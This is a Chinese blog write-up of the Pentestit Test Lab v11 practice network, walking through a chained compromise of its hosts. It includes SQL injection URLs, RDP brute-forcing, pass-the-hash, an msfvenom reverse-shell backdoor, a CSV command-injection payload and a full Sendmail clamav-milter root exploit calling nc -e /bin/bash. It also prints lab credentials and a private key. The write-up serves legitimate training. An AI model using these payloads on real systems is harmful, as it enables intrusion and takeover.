继之前的Lab-9之后,这次完成了…😊
0x01 环境介绍
环境地址
官方给出了VPN的连接方式.
我这里采用Win10+OpenVpn(挂代理),再利用kali虚拟机进行实验.
环境示意图:
THE MAIN OFFICE
和THE SECOND OFFICE
,目前能够访问的只有192.168.101.10
和192.168.101.11
.
使用nmap
对其进行扫描.结果如下.
10
的端口开放的比11
的多,并且11
的端口是ssh的连接端口,在没有任何用户信息的情况下,我选择去渗透10
.
0x02 CRM
访问80端口,是一个wordpress的站点.
wpscan
进行扫描.
--random-agent
继续进行扫描.
kittycatfish
这个插件的存在,寻找该插件的漏洞.可以使用searchsploit
或者getsploit.
http://192.168.101.10/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=31&ver=2.0
但是当尝试and 1=1
和and 1=2
之后会发现页面并没有任何变化,然后在首页源码中发现和payload相似的URL.
THE MAIN OFFICE
的话,这个waf也许在内网中就失效了.
访问88端口,是一个CRM的站点.
<?php
被过滤了.可以使用<?
进行绕过.
其它的替代方式
<?=
<script language="php">
<%=
First Name:darthvader
admin-email:admin@test.lab
0x02 RDP
访问8080端口,是一个roundcube的站点.
11
服务器.
nmap
,因此我们可以对192.168.13.1-3
进行扫描.
xfreerdp
进行连接.
ssh -L 3389:192.168.13.1:3389 -i office2.prkey tech@192.168.101.11 -p 2222
xfreerdp /v:127.0.0.1 -sec-nla /u:""
这里使用/u:‘‘的原因是为了得到所有的用户.
hydra
或者crowbar进行3389的爆破.
python crowbar.py -d rdp -u arm554 -C john.txt -s 127.0.0.1/32 -v
MS16-032
或者MS15-051
,第一个是国外的wp采用的提权方式,但是当我在进行测试的时候,由于远连过去之后很卡,再加上在导入模块的时候出错,不被允许执行脚本,并且powershell策略的修改是需要管理员权限的,所以并没有提权成功.因此我选择了第二种方式进行提权,将arm554添加进管理员组,再次访问user用户文件夹,在Desktop
文件夹下面找到了token.
arm440|arm441|arm550|arm553|arm554|arm664|arm672
0x03 SITE
现在回到192.168.101.11上.
使用ps aux
查看服务器进程.
openvpn
服务正在运行.查看/etc/openvpn/server.conf
.
crowbar
也是可以爆破的.爆破的时候需要对server.conf格式进行修改.
Office-2:xxxxx
.
client
dev tun
proto tcp
remote 192.168.101.10 1194
auth-user-pass
resolv-retry infinite
persist-key
persist-tun
comp-lzo
verb 3
<ca>
-----BEGIN CERTIFICATE-----
MIIEXjCCA0agAwIBAgIJAKYiQCcisQFFMA0GCSqGSIb3DQEBCwUAMHwxCzAJBgNV
BAYTAlJVMQ8wDQYDVQQIEwZNb3Njb3cxDzANBgNVBAcTBk1vc2NvdzERMA8GA1UE
ChMIQ29tYXBhbnkxCzAJBgNVBAsTAklUMRkwFwYDVQQDExBjb21wYW55LnRlc3Qu
bGFiMRAwDgYDVQQpEwdFYXN5UlNBMB4XDTE3MDQwMjE0NDIzMFoXDTI3MDMzMTE0
NDIzMFowfDELMAkGA1UEBhMCUlUxDzANBgNVBAgTBk1vc2NvdzEPMA0GA1UEBxMG
TW9zY293MREwDwYDVQQKEwhDb21hcGFueTELMAkGA1UECxMCSVQxGTAXBgNVBAMT
EGNvbXBhbnkudGVzdC5sYWIxEDAOBgNVBCkTB0Vhc3lSU0EwggEiMA0GCSqGSIb3
DQEBAQUAA4IBDwAwggEKAoIBAQDdcIqS/FA1M8NhiFfiQFKdxUMePwHK2UgmshXS
48Jeshl7qjHAfLQl2Pex83gbNWud9av4yp1H4m3iwGaqTQPaxgOmzoV6vMN3Hnt7
Vk9eqTpGaODFC6IrSrnE9bYL7E90ra0PWHZY9dshup/L+uasg7OrUHHQhXV6e5GR
C0jAmqUp8Wj61DZDuyvkQE8nDUUdxEObUgdZF5dq4aHKkBFL1iC3+f+aSA6//QTM
kNYzrGv2s0cpkZI8zV4ZT+YgXgWMBJfszIU1AFegNLfksgpyR+IP3YjjkQ4s6wQd
HBTkWsLSf4zusgTYkHpG3mP0z4o7/r4RiEywrJidgE5cN2wbAgMBAAGjgeIwgd8w
HQYDVR0OBBYEFONOp29lTyyDD8E1wzF+rOl1LAlcMIGvBgNVHSMEgacwgaSAFONO
p29lTyyDD8E1wzF+rOl1LAlcoYGApH4wfDELMAkGA1UEBhMCUlUxDzANBgNVBAgT
Bk1vc2NvdzEPMA0GA1UEBxMGTW9zY293MREwDwYDVQQKEwhDb21hcGFueTELMAkG
A1UECxMCSVQxGTAXBgNVBAMTEGNvbXBhbnkudGVzdC5sYWIxEDAOBgNVBCkTB0Vh
c3lSU0GCCQCmIkAnIrEBRTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IB
AQBYVZ+3ZjvMjOjOk8zgmMWHaf153ptbFf53c1YtxmDFKWbDo7mG0JmN318T+Kh/
/fxNOha1a2WdQ97yPCR8llz08ZIWLm2n38JdhWCuSZPsozYIGOQX1rZ4lj+8T0kb
hF1vr0KOCI6ODTwPEPJwAd9mcdRQK0Jd52WvuvdGQKUC8DPPDo4B2VHAn8KIDIJp
b+mecHvvxGTSzo4k5nz4bdpYit9i9HayvJ3uIjt05jciQkp5bi5YUXEpq0cspNLr
awoYzU/p/oTvFG8sn8EWAl6pPonQUCGka7GRG2Q9Na9QysMG8H5hITZ7d5VngyrJ
vwj14awsaPvMoIgk8C8Zrkuu
-----END CERTIFICATE-----
</ca>
这里顺便给出crowbar
对server.conf格式的修改.
python crowbar.py -b rdp -u Office-2 -C passwd.txt -s 192.168.101.10/32 -v -p 1194
server.conf.其中ca.cart文件就是证书.
client
dev tun
proto tcp
#remote 192.168.101.10 1194
#remote-cert-tls server
#####
#ping 3
#ping-restart 60
#####
script-security 2
up /etc/openvpn/update-resolv-conf
down /etc/openvpn/update-resolv-conf
## auth for Office-2 user
#auth-user-pass
resolv-retry infinite
persist-key
persist-tun
comp-lzo
ca /root/Test-v11/ca.crt
这样我们就可以在本地连接上192.168.101.10的openvpn
服务器.
nmap
对172.16.0.0的网段进行存活主机检测.
nmap -v -sn -PE -n --min-hostgroup 1024 --min-parallelism 1024 172.16.0.0/24
http://172.16.0.11/wp-content/plugins/kittycatfish-2.2/base.css.php?kc_ad=16+union+select+0x6b635f61645f637373,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x746c5f746f6b656e&ver=2.0
0x04 AD
根据172.16.0.10的扫描,可以看到开放了445端口.
Nmap scan report for 172.16.0.10
Host is up (1.2s latency).
Not shown: 983 filtered ports
PORT STATE SERVICE VERSION
53/tcp open domain Microsoft DNS
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2017-07-01 04:30:24Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: Test.Lab, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: TESTLAB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: Test.Lab, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ssl Microsoft SChannel TLS
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49157/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49158/tcp open msrpc Microsoft Windows RPC
49159/tcp open msrpc Microsoft Windows RPC
利用MS17-010
进行用户测试,之后使用smbclient
进行连接,之前获得的用户hash在这里就可以派上用场了.(test.lab可以从扫描的结果中得知)
smbclient -U test/arm554%6361DEA164EE8FE91FE7B117FBC9CA5E --pw-nt-hash \\\\172.16.0.10\\files
Hi, mate! Need to test ARP-table in DIR subnet.
I'll install intercepter admin:77_GrantedSuperAdmin_77
0x05 CUPS
接着我们访问cups.
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA4CxmKK2/kvV0+srp24bVZm+yYvCz+rvgHHxX1w7F0oD8aUDI
won79K9XpntFDPUvtJRMg9WqK/zKUwLsMQLGWT66PT4GVbQw4Nr56rOrBIuag/qg
o9WcX0AfIyFYFCNz0TnLfRXSDcSQY0CRK8WfKx5c8uP2kudtzAGv5GQCpSjM2uNV
shOu7xmgo/AMUQvPi8kvD/gAme9G8WkTgpVpAwlsthjxQ9fEO6abHHkjbGGec0O8
4T7Bo2nU8bHjr6Jd+dzUAvytblG1yNvGIybAFAsVqUHjbt9wGZgFKr1kA+3ZCbyF
qFZZ37dpZr2grZXwzlCtPUJGuMfCq7N0ZhmcAwIDAQABAoIBAQDCXPx+TJcLXhJ8
164HjlI8LKAoNLZ3sKlRSWYHqmFOcFNpFqh6M5Tmw5hlWf+2imdAVEw7Cegvl0/8
xU3v+I3tFvv22W44pLC0ZGfHXNvsZvYjdAwPwMeBtmDI3sI1Q7/JKikKXP7wvPrL
c1Hq979XbU39sjU5jbqe5N+SUDwS4Tu79L0uXehnqvCSlyIU9joDhvW87DeaLRaQ
wwkKR9gnPtiKebZ73VGParJ42CZlRgfEOvoLWUk+YrhRfZ9r4uva0IHbZ1LhqNcL
k0OlKEDUDzuju0/YwgBSZVSrhkCAnCnipsxQMc4g2aytPOTdKz4BtF+cZV/rXhyM
kSPIeh1xAoGBAPJfcCQWqsq/dwwOC9I9jWj4W9xAFPbaPSq1oGwNr0ugZ/4DZLGe
glGte8iG/Tc1Lb1Ege2dYPRR5OeFhyo8tADPKleFvDBYGN2asf4JirljxrW5F+ON
q5paXqjbaBKk/Z6f08UlwxjSHRHOWqEvYZkm5bAxrufNKBVpwVWHU6eNAoGBAOzH
AryHBdo45qLnzJR87zDftNNrualVmhWu+h+I7zj4hr52gM/TheHL/ODJZCyZU3vt
7ncDjUM91xwh63vkCiByEYk4vTGnmaj9brmndracJ7jwwSUn/YqPj0D3yD0lrpxd
PLn0c1ic5jaoTSWZN748PoPnP+CPvhjQYvxX5OXPAoGALmnEScTlc+nyXCaccOhE
miNlQ+opmZP1PqaFT+vw876F64iu0ayu/AEiwSXIe7f9SE9EKkKG/IJqOUPCvH3f
YoBIdXUwsnlMWbNz/lfJbvMCbG5Detn4UJiZo/BQH7Hht2mX3hr7H1etJWnExTUT
lYZzWahI/C23TVJxKXW+uUkCgYEAnLDOhMit/M3vAxt27UUIXUWNuuPtSmH9yB+1
cq0B8qe1M9HkSKRoUxbVUES2QDVvY/H+/0+gakFAW2OvHJu6f+I87JxZx8RsEcM1
RTMngo0wVFku2FHwnYOHf6z6HE0VknC5QS4eLyQVzVHvS9RraT8g99VPFmLKoE43
U1svJU0CgYAecYtH3ZvIwPA85sTuTkKAGMmvRxzPnQkyjUF9BwN+B1mfL4uZyJVy
VVWhCwXf/h9G3fKzuV0m0Dz6O7r5DqRqs0uCNbxPaS8qWPcRckwV2Y9htMjXLtXU
nOV4UZBbQSZb/AoSFdcCBjonbudkiAxzm0STdiQ92kZNavvfZAjXQw==
-----END RSA PRIVATE KEY-----
0x06 Director
接着使用刚刚获得的morgan的私钥登陆到172.16.0.252上.
nmap
,首先对Director
所在的区域进行扫描.
AD
中获得的用户名和密码进行连接尝试.
我这里使用sshuttle将我本地流量全部转发到172.16.0.252上.这已经是第三层代理了.😅
xfreerdp /v:192.168.12.2 /u:admin /p:77_GrantedSuperAdmin_77
Intercepter-NG
.
port not 3389
,以便更好的找打http请求.
quake3.exe
.
quake3.exe
替换成一个反弹shell的后门.
使用msfvenom
生成一个exe的后门.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.12.2 LPORT=443 -f exe > quake3.exe
之后将生成的quake3.exe
放到Intercepter-NG的目录下,然后开始注入.
netcat
进行端口监听.(这个地方卡了好久,一直没有反弹回来,看了多个wp对比,才发现可行的方法.)
0x07 Connect
再获取了remote的私钥之后,连接上去.
/bin/dash
可以成功执行.
/opt/gh
中,看看这个服务器选择的实现方式.
.bash_history
文件.
cd
tcpdump
/usr/sbin/tcpdump
/usr/sbin/tcpdump --help
/usr/sbin/tcpdump -i eth0 -c 2
which gcc
which ruby
ruby -v
exit
cd /dev/shm/
wget 192.168.11.3/admin
env
set http_proxy=""
wget 192.168.11.3/admin
export http_proxy=""
wget 192.168.11.3/admin
wget 192.168.11.3/_admin/admin
wget 192.168.11.3/_admin/admin/
ruby -v
ncat -klvp 7777
ncat -klvp 8888
ncat -klvp 9999
cd
exit
cd /dev/shm
ls
perl ngxbrt.pl
perl ngxbrt.pl 192.168.11.3 80 192.168.10.1 8888
exit
ncat -klvp 8888
exit
cd /dev/shm
perl ngxbrt.pl 192.168.11.3 80 192.168.10.1 8888
exit
cd /tmp
ls -la
cat ~/.bash_history
clear
nc -nvlp 2020
/usr/sbin/tcpdump -i eth0 -A '' -w /var/tmp/dump.pcap
ls
exit
ls -la
nc -nvvlp 1234
exit
nmap -v -n -p- 192.168.10.2 -sV
nmap -v -n -p- 192.168.10.2 -sV -Pn
nmap -v -n -p- 192.168.10.2 -sV -Pn -T4
/usr/sbin/tcpdump 'src 192.168.10.2'
/usr/sbin/tcpdump 'src 192.168.10.2 || dst 192.168.10.2'
/usr/sbin/tcpdump 'src 192.168.10.5 || dst 192.168.10.5'
telnet 192.168.11.5
telnet 192.168.11.5 25
nc -nvlp 2020
sudo -l
ncat -klvp 8888
cd /dev/shm
cat ngxbrt.pl | nc 172.16.0.16 10100
ncat -klvp 8888
sudo -l
sudo tcpdump -A -i eth0 -s 1500 -c 1000 port not 22 and host not 192.168.11.1 and port not 53 and host not 92.168.56.2 and not arp and port not 123
ls
有些操作需要注意
wget 192.168.11.3/admin //说明192.168.11.3有一个web站点
nc -vlnp 2020 //监听2020端口,注意之前的todo.txt文件中有一个crontab的操作就是请求了2020端口
/usr/sbin/tcpdump -i eth0 -A '' -w /var/tmp/dump.pcap //存在一个流量包文件
首先对2020端口进行一个监听,发送过来的请求是ftp客户端的.
0x08 OWNCLOUD
接下来分析那个流量包文件,保存到本地之后,使用wireshark
进行流量分析.
发现在登陆192.168.10.3的过程中,存在明文传输的漏洞.
kdbx文件介绍 通过KeePass密码安全创建的数据文件称为KDBX文件,它们通常所说的KeePass的密码数据库。这些文件包含密码的加密数据库,其中如果用户设置一个主密码,并通过主密码访问他们,他们只能查看。
0x09 HELPDESK
接下来就访问192.168.11.3的web站点.
有user/oper_1/oper_2/admin等用户
其中密码之前存在hash的问题
根据参考的wp来看,都是向官方要了提示,官方给的提示是Magic Hash,这是一个很有意思的东西,因为php的==
会将某些0e
开头的hash值直接和0
等价.根据一些加密的习惯,将目光停留在sha1和md5上.
md5 | 240610708 | 0e462097431906509019562988736854 |
---|---|---|
sha1 | 10932435112 | 0e07766915004133176347055865026311692244 |
之后本来以为会直接把密码修改成加密前的数据即可,但是这还有一个天大的坑.这里的加密过程是将用户名和密码进行拼接作为原始数据进行加密的.关于怎么意识到这个问题的,我询问了下英文版wp的作者,他的回复是说官方给出的提示关于splitting
的,所以他就开始慢慢尝试将md5和sha1分割开来再赋值给用户名和密码.俄文版的wp也没说出具体缘由.
最后的payload,注意这个地方是在admin的登陆页面登陆.
http://192.168.11.3/_admin/login.php?login=10932&password=435112
最后在Remove tickets
中找到了token,其中还有关于ssh的用户密码.
0x10 SCREEN
在拿到关于192.168.11.3的ssh密码之后,使用其登陆.
python -c "import pty; pty.spawn('/bin/bash')"
在/home
目录下还有另外一个用户tester
,并且其中有token文件,但是权限被限制了,其中一个check.pl
有点引人注目.
#!/usr/bin/perl -w
if (!-l $ARGV[0] && -f $ARGV[0]) {
open $file1, $ARGV[0];
$fname = <$file1>;
chomp($fname);
open ($file2, $fname) or die("$!");
open $file3, '>>', "/tmp/testlog";
$line = <$file2>;
chomp ($line);
print $file3 $line, "\n";
close $file2;
close $file3;
close $file1;
unlink($ARGV[0]);
sleep(1);
open $file1, '>', "/tmp/testlog";
close $file1;
}
else {
exit(0);
}
之后在crontab的目录中发现一处细节.
check.pl
文件会去寻找/build/log
下的文件.接着我们来到build
目录.
screen
,题目的名字也叫SCREEN
,进去瞅瞅.
在里面发现一个screen
的二进制文件,并且也是utmp用户组的,最关键的是有一个s权限,关于linux的s权限,我之前的文章已经介绍过了.
0x11 ACCESS CONTROL
接着我们回到192.168.11.1服务器上,另外一个可以选择的服务器是172.16.0.16.我们使用aengineer连接.
并且可以在.bash_history
中获取一些信息.
ls
ssh-keygen
cd .ssh/
ls
rm id_rsa*
vi authorized_keys
cd .ssh
ls
ls -l
cd .ssh
ls
vi authorized_keys
id
who
exit
ls -l
ls -la
cd .ssh
ls
cat authorized_keys
vi authorized_keys
cat authorized_keys
w
who
finger
who
cd /var/www/html/
cat login.php
cd /var/www/html/
cat token.sec
cd /var/www/
ls
cd html
pwd
ls
ls -l
cat token.sec
cat login.php
cat ftpclient.py
cat parse.php
iptables -l
紧接着我们进入到/var/www/html
目录下.
ftpclient
和一些php文件.
查看php文件.
//login.php
$usr="admin@11.lab";
$pwd="admin";
$username=$_POST['email'];
$password=$_POST['password'];
if (($username==$usr) && ($password==$pwd)) {
header('Location: parse.php?auth=asdfgtgrfedQWERsdfd');
}else{
header('Location: index.html');
}
----------------------------------
//parse.php
if ($_GET["auth"] != asdfgtgrfedQWERsdfd) {
header('Location: index.html');
exit();
}
$row = 1;
if (($handle = fopen("db.csv", "r")) !== FALSE) {
echo '<link rel="stylesheet" href="css/main.css" type="text/css">';
echo '<div id="wrapper" style="text-align: center">';
echo '<div id="yourdiv" style="display: inline-block;">';
echo '<table border="1">';
while (($data = fgetcsv($handle, 1000, ";")) !== FALSE) {
$num = count($data);
if ($row == 1) {
echo '<thead><tr>';
}else{
echo '<tr>';
}
for ($c=0; $c < $num; $c++) {
//echo $data[$c] . "<br />\n";
if(empty($data[$c])) {
$value = " ";
}else{
$value = $data[$c];
}
if ($row == 1) {
echo '<th>'.$value.'</th>';
}else{
if ($c==2 or $c==3) {
$converted = exec('date -d @'.$value);
echo '<td>'.$converted.'</td>';
}else{
echo '<td>'.$value.'</td>';
}
}
}
if ($row == 1) {
echo '</tr></thead><tbody>';
}else{
echo '</tr>';
}
$row++;
}
echo '</tbody></table>';
echo '</div>';
echo '</div>';
fclose($handle);
}
这里我们可以直接登陆进去,然后在parse.php中存在这么一行.
$converted = exec('date -d @'.$value);
这里是有一个命令执行漏洞的,并且web用户就是www-data用户,所以我们想能不能控制value
的输入,从代码中可以看出,value
的来源是来自于db.csv
文件的,但是db.csv
文件的权限是为root所有,所以没有办法去直接通过修改db.csv
文件控制value
.那就还有ftpclient.py
没有看.
#!//usr/bin/python
from ftplib import FTP
import sys
ftp = FTP()
ftp.connect('172.16.0.17','21',3)
ftp.login('acontrol','IControlEverything')
with open('/var/www/html/db.csv', 'w+b') as f:
res = ftp.retrbinary('RETR db.csv', f.write)
if not res.startswith('226 Transfer complete'):
print('Downloaded of file {0} is not compile.'.format(orig_filename))
os.remove(local_filename)
ftp.quit()
从上面可以看出db.csv
来自于172.16.0.17,如果可以控制172.16.0.17中的db.csv
文件就能控制value
了.接着使用ftp的用户名和密码进行登陆.
db.csv
文件的拥有者就是aengineer,这或许就是个考点,接着就是向db.csv
中写入payload了,这里需要注意的是系统命令的位置写在第二列或则第三列都ok.
while true;do python -c 'print "Name;Surname;In;Out;ID\nHelen;Fergerson;1497256200.0| chmod 777 /var/www/html/token.sec;1497288600.0;88642"' > db.csv;sleep 3;done
0x12 CLAMAV
又回到192.168.11.1.这下可以利用的信息都利用完了,我们使用nmap
对192.168.11.3-5
扫描一发.
### black-hole.pl
### Sendmail w/ clamav-milter Remote Root Exploit
### Copyright (c) 2007 Eliteboy
########################################################
use IO::Socket;
print "Sendmail w/ clamav-milter Remote Root Exploit\n";
print "Copyright (C) 2007 Eliteboy\n";
if ($#ARGV != 0) {print "Give me a host to connect.\n";exit;}
print "Attacking $ARGV[0]...\n";
$sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
PeerPort => '25',
Proto => 'tcp');
# SBridgens added this in to ensure correct response from the host!
print "sleeping 10 seconds to allow response";
sleep(10);
print $sock "mail from: <>\r\n";
print $sock "ehlo you\r\n";
print $sock "mail from: <>\r\n";
print $sock "rcpt to: <nobody+\"|/bin/nc -e /bin/bash 192.168.10.1 1234\"@localhost>\r\n";
print $sock "data\r\n.\r\nquit\r\n";
while (<$sock>) {
print;
}
# milw0rm.com [2007-12-21]
或者(手动输入)
ehlo you
mail from:<>
rcpt to: <nobody+"|/bin/nc -e /bin/bash 192.168.10.1 1234"@localhost>
data
.
这个里的监听貌似只在192.168.10.1上可以成功.
.bash_history
不能查看,也没有翻到token,只能怀疑token在/root
目录中,但是需要提权,直接提权不靠谱,在进程中可以找到一个有意思的进程.
ossec
s是一个入侵检测系统.这个东西有一个本地提权的漏洞.
紧接着利用这个漏洞,修改/root
文件权限,从而拿到了token.
总结
整个实验做下来,熟悉整个渗透的思路很重要,会碰到一些很有意思的知识点,像发送ftp响应码
、smb通过hash登陆
、Magic Hash
、s权限的利用
、Linux限制的绕过
等;也包含了常见的手段,像流量包分析
、爆破
、中间人攻击
等,所以综合性还是很强.最后很感谢英文wp的作者很认真且仔细的回答了我的问题.
After all,people are not perfect..
参考
各个版本都可以看看,对照思路也是很重要的
- https://habrahabr.ru/company/pentestit/blog/332902/
- https://innogen-security.com/pentestit-lab-v11-guide-part-1/ http://bacded7f.wiz03.com/share/s/2WPuR_0ap4ZA2c0jzR1Lq2Nf1ZGXVG0fz4FZ2wrlYw03mwDG
(ง •_•)ง 2017-09-30 14:57:03 星期六